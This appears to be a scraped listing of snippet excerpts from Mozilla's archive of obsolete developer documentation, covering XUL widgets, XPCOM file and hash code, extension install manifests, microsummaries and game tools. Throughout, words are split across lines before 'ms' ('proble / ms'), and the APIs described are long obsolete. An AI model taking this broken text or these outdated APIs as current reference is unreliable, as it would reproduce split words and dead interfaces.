...instance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefro
mstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefro
mstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
... to learn how to use third-party modules in your own code, see the tutorial on adding menu ite
ms.
Running applications - Archive of obsolete content
this page describes how to run other progra
ms from your chrome javascript code, using mozilla xpcom interfaces.
... there are two ways to run progra
ms.
... using nsilocalfile.launch() this method is not implemented on all platfor
ms, especially not on unix/linux!
... see nsilocalfile.launch() for details and make sure that all your target platfor
ms support this method!
Install Manifests - Archive of obsolete content
examples <em:targetplatform>winnt_x86-
msvc</em:targetplatform> <em:targetplatform>linux</em:targetplatform> <em:targetplatform>darwin_ppc-gcc3</em:targetplatform> <em:targetplatform>sunos_sparc-sunc</em:targetplatform> usually, you would use only the os part for themes or for extensions that are not fully cross-platform.
... there may be builds of firefox and thunderbird which do not "know" their abi (most likely ports to rare platfor
ms, or non-official builds).
... obsolete property reference these properties were required in older versions of the add-on manager, but have been replaced with newer and better mechanis
ms.
...if the add-on specified by the <em:id> tag is not installed or has an incompatible version, the extension manager will disable your extension and show the message "requires additional ite
ms".
Installing Extensions and Themes From Web Pages - Archive of obsolete content
web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var para
ms = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(para
ms); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e6...
... the install first creates a parameter block: var para
ms = { "foo": { url: aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } }; this specifies the display name (foo) for use in the confirmation dialog, the url to the extension (which is the link href, recall), the icon url to display in the confirmation dialog, a h...
...furthermore, calling updateenabled may lead to proble
ms if your distribution site is not in the user's whitelist, because firefox only displays the "installation blocked" message when install or installchrome are called, or when a xpi file is loaded.
... (* by all means don't let this stop you from developing more ambitious install syste
ms, i am providing this documentation only as a guide that i hope most extension distributors will use since it handles most cases well) ...
Connecting to Remote Content - Archive of obsolete content
in this section we'll look into the xml and json communication mechanis
ms.
... json used to be risky in ter
ms of security because the favored way of parsing it was to use the javascript eval function.
... using xslt xslt (extensible stylesheet language transformations) is another tool used to manipulate xml documents and transform them into other for
ms of text output, such as html, xul, and so on.
...eam;1"] .createinstance(components.interfaces.nsifileinputstream); let xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); let xsldocument; filestream.init(somexslfile, -1, 0x01, 0444); // read only // parse from the xslt stylesheet file stream xsldocument = domparser.parsefro
mstream( filestream, null, filestream.available(), "text/xml"); // import the xslt stylesheet to the xslt processor xsltprocessor.importstylesheet(xsldocument); finally, you can either use nsixsltprocessor.transformtodocument() or nsixsltprocessor.transformtofragment() methods to transform the xml document.
Handling Preferences - Archive of obsolete content
to open the preferences window in firefox, select the following from the main menu: on windows, tools > options on mac, firefox > preferences on linux, edit > preferences note: keep in mind the usage of the ter
ms "preferences" and "options" in different platfor
ms.
... make the window modal in syste
ms where the instant apply rule is not used.
... the general philosophy in non-windows syste
ms is that a change in a preference applies immediately.
...the tabs at the top of the window will need icons, and just like with toolbar buttons there are subtle differences between operating syste
ms.
Introduction - Archive of obsolete content
we have poured years of xul experience into it, providing many solutions for proble
ms extension developers commonly run into.
...the tutorial ai
ms to be as brief as possible, often falling back on mozilla documentation for more detailed information.
...if you're unfamiliar with these ter
ms, it's good that you take some time and learn a little about mozilla.
...you'll sometimes read ter
ms like "xul applications" and "xul extensions", but rarely will they refer to projects that are exclusively built with xul.
Local Storage - Archive of obsolete content
we recommend that you at least keep an error log, so that you can request error data from your users when you encounter proble
ms that are hard to debug.
...otherwise you may run into proble
ms if the same extension is installed in multiple profiles.
...it is ideal for embedding in other progra
ms, and is currently in use in several popular applications.
...if you need a complex database this can be heavy in ter
ms of time and code, but this will only happen once and this can be done in a lazy or asynchronous way.
The Box Model - Archive of obsolete content
it is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating syste
ms, screen sizes and resolutions.
... the label element should be used mainly for text in xul for
ms, such as the ones you see in the firefox options / preferences window.
... since xul documents are strict xml, you can only use strict xhtml in xul, and not the more loosely-formatted for
ms of html.
...select toolbar buttons, menu ite
ms, textboxes, etc.
Supporting search suggestions in search plugins - Archive of obsolete content
(this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchter
ms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchter
ms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
... completion list an array of suggested search ter
ms.
... note: firefox requires that suggest requests complete within 500
ms for suggestions to be displayed.
... if the request for the suggest url does not return data before 500
ms have elapsed, no search suggestions will be shown.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorith
ms.
... recommendations absent support for css3, it is difficult to provide a clear set of steps for fixing every instance of these proble
ms, because the best solution for a given document will greatly depend on its structure.
...this will prevent browsers from using standards-based rendering, and thus all the image-layout proble
ms are avoided.
...the best solution may be to ensure that images are always in a cell by the
mselves, thus allowing authors to make them block-level, but as always this will depend on the author's design.
No Proxy For configuration - Archive of obsolete content
limitations a domain, including sub-domains domain suffix "mozilla.org" does not block domains that end in the same string (amozilla.org) sub-domains domain suffix, starting with a dot ".mozilla.org" does not block the main domain (mozilla.org) a hostname (without domain) hostname-only (see proble
ms below) "localhost" also blocks any possible domains that start with the entry ("www.otherdomain.localhost") a hostname (with domain) domain name "www.mozilla.org" does not block hostnames or domains that end in the same string (other-www.mozilla.org) an ip address ip address "1.2.3.4" does not block hostnames that resolve to the ip address ("127.0.0.1" do...
...pac is written in js, so there are potential proble
ms with feature consistency and porting.
... nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses filters nsprotocolproxyservice::examineforproxy - decides to check filters if configuration is "manual" nsprotocolproxyservice::canuseproxy - perfor
ms url vs.
... filter comparison notable bugs bug 172083 - [meta] proxy: "no proxy for" ite
ms bug 80917 - proxy: "no proxy" w/ form based ui bug 91587 - proxy: "no proxy for" default domain filtering fails w/ non-fqdn (e.g., http://web/) bug 201685 - no proxy for: support ipv6 address literals bug 136789 - proxy: no proxy ip entries do not block dns resolved ips bug 314712 - no proxy for: "hostname.domain.com" should block only "hostname.domain.com" bug 72444 - proxy: "bypass proxy server for local addresses" (ie pref) bug 260883 - "no proxy for" does not use fqdn wildcards "*" like ie bugzilla sources bug 17158 comment 21: the correct separator are spaces or commas.
Using XML Data Islands in Mozilla - Archive of obsolete content
<price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefro
mstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
...ns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser = new domparser(); var doc = parser.parsefro
mstring(ordersource, "application/xml"); var lineite
ms = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineite
ms[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineite
ms.length + " line ite
ms.
... the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefro
mstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
...for this demo, you must create an external document called purchase_order.xml: <!doctype html> <html> <head> <title>xml data block demo</title> <script> function rundemo() { var doc = document.getelementbyid("purchase-order").contentdocument; var lineite
ms = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineite
ms[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.getelementbyid("output-box").textcontent = "the purchase order contains " + lineite
ms.length + " line ite
ms.
Structure of an installable bundle - Archive of obsolete content
instead, you need to use manifest flags, such as the os and abi flags, in your chrome manifest to specify components that should be loaded for specific platfor
ms.
... for example: binary-component components/windows/mycomponent.dll abi=winnt_x86-
msvc binary-component components/mac/mycomponent.dylib abi=darwin_x86-gcc3 binary-component components/mac/mycomponent64.dylib abi=darwin_x86_64-gcc3 binary-component components/linux/mycomponent.so abi=linux_x86-gcc3 this also means you can no longer have platform-specific preference files in your bundle.
... in some cases a single extension or application may wish to include binary component or plugins for multiple platfor
ms, or theme authors might want to include multiple platform-specific jar files.
...for example, if a plugin vendor wanted to make a plugin available for consumer computers running linux(of the form: /platform/linux*/), macintosh(of the form: /platform/darwin*/), and windows(of the form: /platform/win*/), it would provide the following files: /platform/linux_x86-gcc3/plugins/libmyplugin.so /platform/winnt_x86-
msvc/plugins/myplugin.dll /platform/darwin_ppc-gcc3/plugins/libmyplugin.dylib because xpt files are not platform-specific, any associated xpt files would go in the generic components directory: /components/myplugin.xpt if an extension has non-binary platform-specific code (such as code which uses the windows registry from script), it can also use just the operating system identifier as a platfo...
Creating a Microsummary - Archive of obsolete content
then just link to the microsummaries from within the pages the
mselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href attribute.
... creating microsummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> </generator> adding an xslt transform sheet generators must include an xslt transform sheet (also known as an xslt stylesheet) which transfor
ms the page content into its microsummary.
...s with the xslt <output> element: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> </transform> </template> </generator> using a simple xslt <template> the xslt processor transfor
ms documents by comparing each xslt <template> element in the transform sheet to a set of nodes in the document.
... when a <template>'s match attribute matches a node, the processor perfor
ms the transformations specified by the content of the element.
Style System Overview - Archive of obsolete content
nsiframe::getstyledata does the same thing for the frame's
mstylecontext member, and the global ::getstyledata is a typesafe helper that doesn't require the style struct id.
... this style struct is always const, and should always be declared as such (evil old-style casts often used with the non-typesafe for
ms sometimes hide this error), since the struct may be shared with other elements.
... style data cached in rule tree if the data struct doesn't depend on the parent style context in any ways (inheritance, perhaps by omission; percentages and e
ms when computed), we can cache it in the rule tree.
... rebuilds rule tree if stylesheet was removed to avoid dangling pointers (and perhaps aliasing that would cause proble
ms).
Introducing the Audio API extension - Archive of obsolete content
reading audio strea
ms the loadedmetadata event when the metadata of the media element is available, it triggers a loadedmetadata event.
...rentsampleoffset = audiooutput.mozcurrentsampleoffset(); audio data written using the mozwriteaudio() method needs to be written at a regular interval in equal portions, in order to keep a little ahead of the current sample offset (the sample offset that is currently being played by the hardware can be obtained with mozcurrentsampleoffset()), where "a little" means something on the order of 500
ms of samples.
... for example, if working with two channels at 44100 samples per second, a writing interval of 100
ms, and a pre-buffer equal to 500
ms, one would write an array of (2 * 44100 / 10) = 8820 samples, and a total of (currentsampleoffset + 2 * 44100 / 2).
... var prebuffersize = samplerate * 0.020; // initial buffer is 20
ms var autolatency = true, started = new date().valueof(); ...
Frequently Asked Questions - Archive of obsolete content
if you discover any proble
ms with our svg implementation that you think we should know about then we'd like to hear from you.
...if you have any proble
ms with the bug database feel free to contact contact us.
...however, mozilla's implementation already supports some things that adobe's lacks, particularly parts of the xml and svg do
ms.
...tim is working on implementing <filter> and working on ite
ms that need to be done before turning on svg by default.
Space Manager Detailed Design - Archive of obsolete content
see the high level design document for an overview of the space manager, and as an introduction to the classes, structures and algorith
ms container in this, the detailed design document.
...the caller also provides a collection of banddata objects (an array) and the number of ite
ms that the collection can handle.
... check the size of the collection again, if there is no room left then estimate the number of ite
ms requires as the current count + twice the number of bands below the band in question plus one.
... cross-component algorith
ms tech notes original document information author(s): marc attinasi other contributors: david baron, josh soref last updated date: november 25, 2005 ...
Actionscript Performance Tests - Archive of obsolete content
to compare two v
ms against each other export avm2=<path to 2nd vm> or use --avm2=<path to 2nd vm>.
... the percentage difference is calculated between the two v
ms.
...# compare 2 builds $ ./runtests.py --avm2=build2/av
mshell sunspider/*.as test avm avm2 %sp metric sunspider/access-binary-trees.as 565 564 0.2 time sunspider/access-fannkuch.as 366 362 1.1 time ...
... # compare 2 builds with > 2 iterations $ ./runtests.py --iterations=10 --avm2=build2/av
mshell sunspider/*.as test avm avm2 min : max avg min : max avg %diff metric ----------------------- ----------------------- ----- sunspider/access-binary-trees.as [ 567.0 : 585] 575.9 [ 564.0 : 580] 572.0 0.5 time sunspider/access-fannkuch.as [ 363.0 : 386] 370.0 [ 362.0 : 399] 371.8 0.3 time ...
Venkman Internals - Archive of obsolete content
venkman-records.js a "record" see
ms to be data underlying a view.
... venkman-
msg.js localization code, reads venkman.properties from a subdirectory of "locale" and injects variables.
... things like
msg.alert define variables
msg_alert.
...(not in 2006, see
ms to be computed on the fly in getsourcecontext()).
Building accessible custom components in XUL - Archive of obsolete content
if we inspect this with the
msaa inspect32 tool, we see that each cell is exposed as role="text".
...cript src="accjax.js"/> </code> by adding this javascript code and these css rules, we can tab to the spreadsheet see which cell, row header, or column header has focus click on other cells or headers to change focus within the spreadsheet tab off the spreadsheet by pressing tab once tab back to the spreadsheet and automatically set focus to the previously focused cell or header inspect32 confir
ms that all of this really works; it's not just visual smoke and mirrors.
...there is one small implementation issue, which ste
ms from the way elements are laid out within the grid element.
...inspect32 confir
ms that assistive technologies track the focus as we navigate within the spreadsheet.
Working With Directories - Archive of obsolete content
iterating over the files in a directory the directory object's directoryentries (nsifile.attributes) attribute is used to get a list of the ite
ms in a directory.
...function getlatestfile() { var lastmod = 0; var homedir = io.getfile("home", ""); var ite
ms = homedir.directoryentries; while (ite
ms.hasmoreelements()) { var item = ite
ms.getnext().queryinterface(components.interfaces.nsifile); if (item.isfile() && item.lastmodifiedtime > lastmod.lastmodifiedtime) lastmod = item; } return lastmod; } this example iterates through the files in the home directory and looks for the file with the latest modification time (the last file in that directory that was written to).
... as the directoryentries (nsifile.attributes) property is an enumeration, you can iterate over the ite
ms by using nsisimpleenumerator.hasmoreelements() and nsisimpleenumerator.getnext().
...the following example returns an array of all of a directory's subdirectories: function getsubdirs() { var arr = []; var ite
ms = io.getfile("home", "").directoryentries; while (ite
ms.hasmoreelements()) { var item = ite
ms.getnext(); if (item.isdirectory()) arr.push(item); } return arr; } ...
moveByOffset - Archive of obsolete content
« xul reference home movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many ite
ms.
... if offset is negative, adjusts the focused item backward by that many ite
ms.
...if isselectingrange is also true, then the new item is selected in addition to any currently selected ite
ms.
...ite
ms that are hidden are skipped.
MenuButtons - Archive of obsolete content
for instance, in the following example, pressing the 'view' button will open a menu which allows the user to select from a set of radio menuite
ms.
...however, we can associate a different command with the ite
ms on the submenu.
...in this situation, this menuitem perfor
ms the same operation as pressing the regular part of the button.
... the effect is a button that perfor
ms one command with a menu for other commands.
OpenClose - Archive of obsolete content
opening menus menus will display the
mselves automatically when needed without extra work.
...once the menu is open, the keyboard can be used to navigate and select ite
ms as usual.
... popups attached using the context attribute are opened when the user perfor
ms an action that attempts to open a context menu.
...on macintosh syste
ms with only one mouse button, a context menu may be opened by either holding down the mouse button or by pressing the control key and clicking the mouse button.
PopupEvents - Archive of obsolete content
this event is most commonly used to add or adjust ite
ms on the popup based on the context.
...for instance, right clicking on an image might display ite
ms on a context menu pertaining to images, whereas clicking on a link would display only those ite
ms pertaining to links.
...for examples of the use of the popupshowing event when used with context menus, see hiding and showing menu ite
ms based on context.
...a listener for the popuphiding event can be used to remove or hide ite
ms on the popup again, the reverse of the popupshowing event.
Popup Guide - Archive of obsolete content
it displays ite
ms in a list, can display submenus, and provides keyboard navigation between the ite
ms.
... features of ite
ms on a menu to learn about the various features of ite
ms on a menu, see features of the menuitem element modifying the ite
ms on a menu to append, insert and remove elements from a menu, see modifying a menu.
... platform specific menu considerations see special per-platform menu considerations for some notes about handling menus on certain platfor
ms, for instance creating the application menu on a macintosh.
... using popups in extensions extensions may add additional menuite
ms either to a menu on the menu bar or to the context menu.
Filtering - Archive of obsolete content
in this example, the menulist is hard-coded to contain the ite
ms that we know are in the datasource.
...it is common to use a template to generate the ite
ms on a menu or in a listbox or tree.
...it will also need to include a <menupopup> around all of the ite
ms.
... <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> the result will be two generated menuite
ms, one for each country, inside a menupopup.
Sorting Results - Archive of obsolete content
when the reference node is an rdf seq container and the results are in that container, however, the template builder orders the results in the order the ite
ms appear in the seq.
...sorting tree results we'll examine sorting of trees first since trees are the most common element used with sorted ite
ms.
...<listbox datasources="people2.xml" ref="*" querytype="xml" sort="?name" sortdirection="ascending"> <template> <query expr="*/*"/> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> it will often be the case that multiple ite
ms have the same value, especially for larger amounts of data.
...e: <hbox datasources="template-guide-photos5.rdf" sort="http://purl.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> </hbox> in this example, the generated ite
ms will be sorted by title.
Textbox (XPFE autocomplete) - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
...a scrollbar will appear so the user can scroll through the remaining ite
ms.
...this can be used to display additional ite
ms that are not autocomplete results.
...this can be used to display additional ite
ms that are not autocomplete results.
Input Controls - Archive of obsolete content
looking for a guide to using input controls and for
ms on the web?
... see for
ms in html.
... « previousnext » looking for a guide to using input controls and for
ms on the web?
... see for
ms in html.
List Controls - Archive of obsolete content
list boxes a list box is used to display a number of ite
ms in a list.
...they work similar to the html select element, which perfor
ms both functions, but the xul elements have additional features.
...if you shrink the size horizontally, the labels on the cells will crop the
mselves automatically using an ellipsis.
... you can use the crop attribute on the cells or ite
ms set to the value none to disable the ellipsis.
More Tree Features - Archive of obsolete content
the tree view has a number of functions which specify the hierarchy of the ite
ms in a tree.
...the topmost ite
ms in the tree will have a level of 0, the children of those ite
ms will have a level of 1, the children below that will have a level of 2, and so on.
...you can then add ite
ms inside that to specify the child rows of an item.
...the former creates the data for the parent row and the latter contains the child ite
ms.
Trees - Archive of obsolete content
this means that the tree is scalable to any number of rows without any performance proble
ms.
... that the treeite
ms are unlike other xul elements is a common source of confusion for xul developers.
... the user can select the treeite
ms by clicking on them with the mouse, or by highlighting them with the keyboard.
... the user can select multiple ite
ms by holding down the shift or control keys and clicking additional rows.
XUL Questions and Answers - Archive of obsolete content
ed="true"/> </listitem> </listbox> <listbox rows="4"> <listhead> <listheader label="single-column"/> </listhead> <listitem type="checkbox" value="1" label="vghkvghk"/> <listitem type="checkbox" value="2" label="vghjkvk" checked="true"/> <listitem type="checkbox" value="3" label="hukfzgjcfj" disabled="true"/> </listbox> </window> list box handlers can only check for listite
ms not listcells.
...some platfor
ms display these buttons with a small icon indicating their usage.
...(server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the ite
ms in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item background color with javascript?
... someelement { font-family: "my font", "trebuchet
ms"; } for more information about platform specific questions, please visit mozilla.dev.platform ...
XML - Archive of obsolete content
when we say language, we mean that developers create a set of ter
ms, orlexicon, and a relationship between these ter
ms, or what some people call agrammar.
...it's much simpler than it see
ms -- much simpler, in fact, than a lot of xml primers and references would have you believe.
...it will consist of a lexicon of four ter
ms: memo, to, from, body -- all of which fit together into a syntax represented in most xml circles as: <!element memo (from, to, body)> for developers accustomed to reading and using xml, this definition indicates that the root element "memo" is constituted by a "from" element, then a "to" element, then a "body" element.
...this arrangement creates new possibilities for truly cross-platform web applications, application serving, web appliances and embedded syste
ms, and all sort of other things.
XUL Event Propagation - Archive of obsolete content
the combination of basic these two basic event flow mechanis
ms, event bubbling and event capturing, mean that events raised in the interface can be caught anywhere above the element that raised the event.
..." label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu> </vbox> <spring flex="1" /> </vbox> </window> in this file, the lowest-down, or "leaf" elements are the menuite
ms.
... the hierarchy of the interface can be represented as follows: when one of these menuite
ms raises an event, any of the elements above it in the hierarchy can handle it.
...for example, if an event handler at the menu is handling an event raised by one of the menu ite
ms, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a javascript function determines which menuitem was selected and responds appropriately: <script> function docmd(el) { v = el.getattribute("value"); if (v == "new") alert("new clicked"); else if (v == "open") alert("open clicked"); else alert("close clicked");...
menu - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... itemcount type: integer read only property holding the number of child ite
ms.
..., normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of ite
ms.
...ite
ms are numbered starting at the first item displayed in the list.
toolbarpalette - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only the item is a palette of available toolbar ite
ms.
... it is not displayed, but is used by the toolbar customization dialog to display the list of ite
ms.
... the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbarite
ms that can be added to the toolbar.
... do not add the various spacing ite
ms, as those are added automatically.
NSPR Release Engineering Guide - Archive of obsolete content
this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platfor
ms.
... feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platfor
ms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platfor
ms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies ta...
...g the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platfor
ms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
... copy /share/builds/components/nspr20/vx.y.z/* to /share/syste
ms/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be logged on to a machine named "smithers" as user "svbld".
Theme changes in Firefox 2 - Archive of obsolete content
browser/browser.css needs to be updated to include new css for microsummaries, search fields, iconic bookmark menu ite
ms, and more.
... mozapps/extensions/itemdisabledfader.png new file; a translucent png used as an overlay on top of ite
ms that are disabled in the add-ons manager.
... mozapps/extensions/itemenabledfader.png new file; a translucent png used as an overlay on top of ite
ms that are enabled in the add-ons manager.
... the second icon (yellow here)appears to be used for blocklisted ite
ms; trying to confirm.
Developing cross-browser and cross-platform pages - Archive of obsolete content
as a web author, you understandably want to avoid script errors and page layout proble
ms and you may want to ensure your scripts reach as wide an audience as possible.
... browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in ter
ms of capabilities of the visiting browser.
... such approach is fraught with proble
ms and difficulties.
... // bad sample if (navigator.appversion.charat(0) == "8") { if (navigator.appname == "netscape") { isns8 = true; alert("netscape 8"); }; } else if (navigator.appversion.indexof("
msie") != -1) { isie = true; alert("internet explorer"); }; while this kind of checking in the above code can work in a crude sense, sharp readers may wonder what happens when internet explorer 8 is released or when an opera 8.x user visits the page or even when an user with any non-netscape browser starting with a "8" character in the appversion string visits that page.
Browser Feature Detection - Archive of obsolete content
document.title true true true document.referrer true true true document.domain true true true document.url true true true document.body true true true document.images true true true document.applets true true true document.links true true true document.for
ms true true true document.anchors true true true document.cookie true true true document.open() true true true document.close() true true true document.write() true true true document.writeln() true true true document.getelementbyid() true true true documen...
...dercollapse true true true borderspacing true false true bordertopcolor true true true borderrightcolor true true true borderbottomcolor true true true borderleftcolor true true true bordertopstyle true true true borderrightstyle true true true borderbotto
mstyle true true true borderleftstyle true true true bottom true true true captionside true false true clear true true true clip true true true content true false true counterincrement true false true counterreset true false true cue tru...
...orted': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'title', 'supported': false}, {name: 'referrer', 'supported': false}, {name: 'domain', 'supported': false}, {name: 'url', 'supported': false}, {name: 'body', 'supported': false}, {name: 'images', 'supported': false}, {name: 'applets', 'supported': false}, {name: 'links', 'supported': false}, {name: 'for
ms', 'supported': false}, {name: 'anchors', 'supported': false}, {name: 'cookie', 'supported': false}, {name: 'open', 'supported': false}, {name: 'close', 'supported': false}, {name: 'write', 'supported': false}, {name: 'writeln', 'supported': false}, {name: 'getelementbyid', 'supported': false}, {name: 'getelementsbyname', 'supported': false} ], 'domcore2': [ {name: 'doctype', ...
...rdercollapse', 'supported': false}, {name: 'borderspacing', 'supported': false}, {name: 'bordertopcolor', 'supported': false}, {name: 'borderrightcolor', 'supported': false}, {name: 'borderbottomcolor', 'supported': false}, {name: 'borderleftcolor', 'supported': false}, {name: 'bordertopstyle', 'supported': false}, {name: 'borderrightstyle', 'supported': false}, {name: 'borderbotto
mstyle', 'supported': false}, {name: 'borderleftstyle', 'supported': false}, {name: 'bottom', 'supported': false}, {name: 'captionside', 'supported': false}, {name: 'clear', 'supported': false}, {name: 'clip', 'supported': false}, {name: 'content', 'supported': false}, {name: 'counterincrement', 'supported': false}, {name: 'counterreset', 'supported': false}, {name: 'cue', 'support...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
in order to make the fish cam page as agile as the fish the
mselves, it was necessary to strip out all of the tables, font tags, and other non-validating stuff.
...this was most easily accomplished by floating the div elements the
mselves.
...these are enclosed in h3 elements, so the field was pretty wide open in ter
ms of what we could do.
...thus: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {border: 1px solid #339; border-left: 5px double #339; background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the background to the heading containing the name of the fish created three proble
ms: the double border was completely covered up by the image.
Reference - Archive of obsolete content
--maian 01:43, 30 september 2005 (pdt) we should define the ter
ms we are using.
...i checked this by doing alert(math.constructor) //shows that object is its constructor alert(object.constructor) //shows that function is its constructor alert(function.constructor) //shows that function is its constructor note : the function.constructor see
ms to keep on refering to itself, if you do the following you get same results which suggests that this is indeed the top level object.
...the right thing to do see
ms to be: move all the "...
...it see
ms like "global object" and "global property" are synony
ms, and all global functions are global objects/properties.
Game promotion - Game development
the more information you can include the better — you should include screenshots, description, trailer, press kit, requirements, available platfor
ms, support details and more.
... you should use at least twitter and facebook and be active on appropriate foru
ms — the most popular one is html5gamedevs.com.
...be sure to check first if they are dealing with specific genres of games or platfor
ms, so you don't send them something that is not relevant to them in the first place.
...talking or writing about something you achieved or proble
ms you overcame is something people would be interested it.
Tiles and tilemaps overview - Game development
the world coordinates can be expressed in ter
ms of tile position (row and column of the map) or in pixels across the map, depending on the game.
...the most common case is to use this logic grid to handle collisions, but other uses are possible as well: character spawning points, detecting whether some elements are placed together in the right way to trigger a certain action (like in tetris or bejeweled), path-finding algorith
ms, etc.
...of course, if the map is large this doesn't really solve the problem — and some syste
ms don't have a very generous limit on how big a texture can be.
... an alternative method would be to split the tilemap into big sections (like a full map split into 10 x 10 chunks of tiles), pre-render each one off-canvas and then treat each rendered section as a "big tile" in combination with one of the algorith
ms discussed above.
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually ai
ms to cover frameworks, compilers, and debugging tools.
... e
mscripten an llvm to javascript compiler; with e
mscripten, you can compile c++ and other languages that can compile to llvm bytecode into high-performance javascript.
...there is a useful e
mscripten tutorial available on the wiki.
... note that we are aiming to cover e
mscripten in its own section of mdn.
